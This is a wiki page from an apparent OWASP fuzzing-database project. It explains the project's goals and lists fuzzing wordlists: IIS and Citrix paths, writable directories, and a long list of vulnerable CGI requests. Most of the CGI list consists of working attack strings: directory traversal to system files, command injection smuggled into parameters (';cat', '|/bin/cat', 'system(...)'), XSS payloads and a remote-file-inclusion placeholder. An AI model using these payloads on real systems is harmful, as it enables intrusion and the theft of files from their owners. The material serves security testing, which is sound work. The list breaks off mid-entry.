<p>Adam.muntner: /* Microsoft URLs (6 April 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft IIS vulnerabilities and enumeration (6 April 2010) ===<br /> &lt;pre&gt;#Microsoft IIS vulnerabilities and enumeration (6 April, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Commonly writable directories (6 April 2010) ===<br /> &lt;pre&gt;#Commonly writable directories<br /> (6 April, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> 